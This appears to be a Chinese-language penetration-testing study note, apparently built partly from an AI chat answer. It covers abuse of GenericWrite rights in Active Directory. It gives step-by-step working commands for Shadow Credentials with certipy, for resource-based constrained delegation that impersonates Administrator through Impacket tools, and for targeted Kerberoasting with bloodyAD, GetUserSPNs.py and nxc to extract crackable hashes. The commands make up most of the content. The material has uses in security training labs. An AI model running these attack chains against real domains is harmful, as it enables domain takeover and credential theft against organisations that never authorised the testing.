
或者:

1
wmiexec.py -k -no-pass dc01.inlanefreight.local

GenericWrite权限滥用

目标为机器用户

当对目标计算机对象拥有 GenericWrite 权限时,常见利用方式不是 Kerberoasting,而是Shadow CredentialsRBCD / 基于资源的约束委派

方式一:Shadow Credentials

如果目标机器账号支持 PKINIT,并且当前用户可以写目标对象的 msDS-KeyCredentialLink 属性,可以通过 Shadow Credentials 给目标机器账号添加一个伪造证书凭据。

成功后可以获得目标机器账号的身份,例如:

1
TARGET$

常见工具:

1
certipy shadow auto -u "$USER@$DOMAIN" -p "$PASSWORD" -account "$TARGET$" -dc-ip "$DC_IP"

含义:

1
给目标机器账号写入 KeyCredential→ 使用证书认证为 TARGET$→ 获取目标机器账号的 TGT / NT hash→ 自动清理写入的 KeyCredential

如果目标是普通工作站,拿到的是该机器账号身份。
如果目标是域控机器账号,例如:

1
DC01$

影响会非常严重,因为域控机器账号本身在域内权限很高。

对机器账号拥有 GenericWrite 时,可以滥用 msDS-KeyCredentialLink 进行 Shadow Credentials 攻击,从而以目标机器账号身份进行认证。相比 Kerberoasting,Shadow Credentials 对机器账号更实用,因为机器账号密码通常很强,离线爆破成功率低。


方式二:RBCD

如果可以写目标机器对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,可以配置 RBCD,让自己控制的机器账号被允许代表任意用户访问目标机器上的服务。

基本流程:

1
创建或控制一个机器账号→ 修改目标机器的 RBCD 属性→ 让受控机器账号代表高权限用户请求访问目标机器服务→ 使用票据访问目标机器

示例流程:

1. 创建一个受控机器账号

1
addcomputer.py "$DOMAIN/$USER:$PASSWORD" -computer-name "ATTACKER$" -computer-pass "Passw0rd123!" -dc-ip "$DC_IP"

2. 配置目标机器的 RBCD

1
rbcd.py -action write -delegate-from "ATTACKER$" -delegate-to "$TARGET$" "$DOMAIN/$USER:$PASSWORD" -dc-ip "$DC_IP"

3. 申请可用于目标机器服务的票据

1
getST.py -spn "cifs/$TARGET_FQDN" -impersonate "Administrator" "$DOMAIN/ATTACKER$:Passw0rd123!" -dc-ip "$DC_IP"

4. 使用 Kerberos 票据访问目标

1
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass "$DOMAIN/Administrator@$TARGET_FQDN"

前提是你 impersonate 的用户,比如 Administrator,需要对目标机器有对应权限,否则即使拿到票据也不一定能执行命令。


你这页可以这样总结:

1
目标为机器用户时,GenericWrite 常见利用方式:1. Shadow Credentials   - 写入 msDS-KeyCredentialLink   - 获取目标机器账号身份   - 常用 certipy shadow auto2. RBCD   - 写入 msDS-AllowedToActOnBehalfOfOtherIdentity   - 让受控机器账号代表高权限用户访问目标机器   - 常用 addcomputer.py、rbcd.py、getST.py3. 不推荐 Kerberoasting   - 机器账号通常已有 SPN   - 但机器账号密码默认很长且随机   - TGS hash 通常很难爆破

一句话版:

目标是用户时,可以考虑 Targeted Kerberoasting;目标是机器账号时,优先考虑 Shadow Credentials 或 RBCD,Kerberoasting 通常收益很低。

目标为用户

前提: 当前用户对目标用户有 GenericWriteGenericAllWritePropertyValidated-SPN 或 BloodHound 里的 WriteSPN 权限,可以写目标用户的 servicePrincipalName 属性。写入 SPN 后,该用户就可以被 Kerberoast。

原理:

给原本没有 SPN 的目标用户临时添加一个假的 SPN,例如:

1
http/anything

然后请求该 SPN 对应的 TGS,拿到可离线破解的 Kerberoast hash,最后清理刚才添加的 SPN。


方法一:targetedKerberoast.py 自动完成

targetedKerberoast.py 的特点是:如果用户没有 SPN,它会尝试临时写入 servicePrincipalName,打印 Kerberoast hash,然后删除临时 SPN。

1
targetedKerberoast.py -v -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --dc-ip "$DC_IP" --request-user "$TARGET" -o kerberoastables.txt

如果你只想打“需要临时加 SPN 的目标”,可以加:

1
--only-abuse

相关参数里,--request-user 是指定目标用户,-o/--output-file 是输出 hash,默认格式适合 hashcat;工具也支持明文密码、Pass-the-Hash、Kerberos、AES key 等认证方式。


方法二:bloodyAD 手动添加 SPN + GetUserSPNs 请求 hash

1. 先查看目标用户原本有没有 SPN

1
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" get object "$TARGET" --attr servicePrincipalName

2. 添加伪造 SPN

1
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v "http/anything"

bloodyAD set object 的作用是添加、替换或删除目标对象属性,-v 用来指定写入的值;如果不带 -v,会删除该属性,所以清理时要小心。

3. 请求目标用户的 TGS hash

这里不是用 -target-user,而是 Impacket 的:

1
GetUserSPNs.py "$DOMAIN/$USER:$PASSWORD" -dc-ip "$DC_IP" -request -request-user "$TARGET" -outputfile kerberoastables.txt

GetUserSPNs.py-request 会请求 TGS 并输出 JtR/hashcat 格式,-request-user 用来指定要请求的用户名,-outputfile 用来保存 hash。(知识库)

4. 清理伪造 SPN

如果目标用户原来没有 SPN,可以清空:

1
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName

注意: 如果目标用户原本就有 SPN,不要直接清空。先记录原值,最后恢复原值,否则可能影响业务账号。


方法三:NetExec / nxc 一行完成

1
nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --kerberoasting kerberoastables.txt --targeted-kerberoast "$TARGET"

这个是把 targeted kerberoast 和 hash 输出合在一起。